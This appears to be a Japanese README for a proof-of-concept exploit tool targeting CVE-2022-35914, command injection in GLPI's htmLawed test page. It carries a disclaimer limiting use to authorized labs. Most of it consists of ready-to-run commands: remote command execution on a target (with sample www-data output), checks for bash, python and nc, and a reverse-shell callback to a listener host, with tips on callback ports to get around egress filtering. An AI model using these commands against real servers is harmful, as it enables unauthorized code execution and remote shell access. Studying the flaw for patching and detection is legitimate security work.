
CVE-2022-35914 用 PoC エクスプロイト — GLPI v.10.0.2 htmLawed のコマンドインジェクション、コマンド実行、およびリバースシェルサポート
脆弱な GLPI インストール環境の htmLawed テストコンポーネントに影響するコマンドインジェクション脆弱性 CVE-2022-35914 の PoC です。
このツールは、脆弱なエンドポイントを介したコマンド実行を実現し、認可されたラボ環境向けのオプションのコールバック機能を備えています。
免責事項: このプロジェクトは、認可されたセキュリティテスト、CTF、OffSec/PG ラボ、および教育目的のみを対象としています。明示的な許可なくシステムに対して使用しないでください。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2022-35914 |
| ソフトウェア | GLPI |
| コンポーネント | htmLawed |
| 脆弱なエンドポイント | /vendor/htmlawed/htmlawed/htmLawedTest.php |
影響を受けるインストール環境では、この脆弱なコンポーネントが細工されたパラメータを介してコマンド実行を許容する可能性があります。
Python 3 と必要な依存関係が必要です。
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
リポジトリをクローンします:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
スクリプトを実行可能にします:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
出力例:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c オプションは、実行するコマンドを指定します。
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
-p / --rport オプションは、脆弱な GLPI Web サービスが稼働しているポートを指定します。
デフォルト:
80
例:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
--check を使用すると、コマンドを実行せずに htmLawed テストページが利用可能かどうかを確認できます:
python3 glpi.py -u TARGET_IP --check
カスタム HTTP User-Agent は次のように指定できます:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
このスクリプトはオプションのコールバックパラメータをサポートしています:
-l Callback/listener IP
-lp Callback/listener port
例:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
この例では:
Target: TARGET_IP:80
Callback: LHOST:80
2 つのポートはそれぞれ目的が異なります:
-p = Target GLPI HTTP port
-lp = Callback/listener port
OffSec ラボ環境でのテスト中、コールバックは TCP ポート 80 経由で正常に動作しました。
4444 などの他のコールバックポートは、ラボのネットワーク構成や egress フィルタリングによってはタイムアウトする可能性があります。
テストした環境では:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
リスナーは、TCP ポート 80 を使用して Kali VPN インターフェース上に設定されました。
重要: コールバックにポート 80 を使用することは環境固有の観察結果であり、CVE-2022-35914 の要件ではありません。
まずコマンド実行を確認します:
python3 glpi.py -u TARGET_IP -c 'id'
必要なユーティリティが存在するか確認します:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
コマンド実行は成功するがコールバックがタイムアウトする場合は、VPN ルーティングとコールバックポートを確認してください。
コマンド出力の解析に失敗した場合、完全な HTTP レスポンスは次の場所に保存されます:
/tmp/glpi.html
次のコマンドで確認します:
less /tmp/glpi.html
または:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
テストした OffSec ラボ環境の場合:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
このプロジェクトは、教育および認可されたセキュリティテストの目的のみで提供されます。
著者は、本ソフトウェアに関連する誤用、損害、不正アクセス、または違法行為について一切の責任を負いません。
システムをテストする前に、必ず明示的な許可を取得してください。
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala
| オプション | 説明 | デフォルト |
|---|
-u, --url | ターゲット URL または IP アドレス | 必須 |
-c, --cmd | 実行するコマンド | id |
--check | コマンドを実行せずにターゲットを確認する | 無効 |
--user-agent | カスタム HTTP User-Agent | デフォルト |
-p, --rport | ターゲット HTTP サービスのポート | 80 |
-l, --lhost | コールバック/リスナー IP アドレス | — |
-lp, --lport | コールバック/リスナーポート | — |